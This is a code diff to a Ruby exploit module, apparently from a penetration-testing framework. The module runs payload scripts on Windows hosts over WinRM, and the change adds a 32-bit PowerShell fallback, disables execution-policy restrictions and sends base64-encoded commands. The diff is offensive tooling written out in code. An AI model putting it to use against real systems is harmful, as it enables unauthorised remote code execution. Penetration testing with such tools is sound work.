@@ -83,7 +83,6 @@ def exploit
83
83
return
84
84
end
85
85
if powershell2?
86
- return unless correct_payload_arch?
87
86
path = upload_script
88
87
return if path . nil?
89
88
exec_script ( path )
@@ -127,15 +126,15 @@ def upload_script
127
126
128
127
def exec_script ( path )
129
128
print_status "Attempting to execute script..."
130
- cmd = "powershell -File #{ path } "
129
+ cmd = "#{ @invoke_powershell } -File #{ path } "
131
130
winrm_run_cmd_hanging ( cmd )
132
131
end
133
132
134
133
def encoded_psh ( script )
135
134
script = script . chars . to_a . join ( "\x00 " ) . chomp
136
135
script << "\x00 " unless script [ -1 ] . eql? "\x00 "
137
136
script = Rex ::Text . encode_base64 ( script ) . chomp
138
- cmd = "powershell -encodedCommand #{ script } "
137
+ cmd = "#{ @invoke_powershell } -encodedCommand #{ script } "
139
138
end
140
139
141
140
def temp_dir
@@ -173,11 +172,11 @@ def check_remote_arch
173
172
end
174
173
175
174
def correct_payload_arch?
176
- target_arch = check_remote_arch
177
- case target_arch
175
+ @ target_arch = check_remote_arch
176
+ case @ target_arch
178
177
when "x64"
179
178
unless datastore [ 'PAYLOAD' ] . include? "x64"
180
- print_error "You selected an x86 payload for an x64 target! "
179
+ print_error "You selected an x86 payload for an x64 target...trying to run in compat mode "
181
180
return false
182
181
end
183
182
when "x86"
@@ -218,8 +217,15 @@ def powershell2?
218
217
end
219
218
end
220
219
220
+ return false unless correct_payload_arch? or @target_arch == "x64"
221
+ if @target_arch == "x64"
222
+ @invoke_powershell = "%SYSTEMROOT%\\ SysWOW64\\ WindowsPowerShell\\ v1.0\\ powershell.exe"
223
+ else
224
+ @invoke_powershell = "powershell"
225
+ end
226
+
221
227
print_status "Attempting to set Execution Policy"
222
- streams = winrm_run_cmd ( "powershell Set-ExecutionPolicy Unrestricted" )
228
+ streams = winrm_run_cmd ( "#{ @invoke_powershell } Set-ExecutionPolicy Unrestricted" )
223
229
if streams == 401
224
230
print_error "Login failed!"
225
231
return false
@@ -228,7 +234,7 @@ def powershell2?
228
234
print_error "Recieved error while running check"
229
235
return false
230
236
end
231
- streams = winrm_run_cmd ( "powershell Get-ExecutionPolicy" )
237
+ streams = winrm_run_cmd ( "#{ @invoke_powershell } Get-ExecutionPolicy" )
232
238
if streams [ 'stdout' ] . include? 'Unrestricted'
233
239
print_good "Set Execution Policy Successfully"
234
240
return true
0 commit comments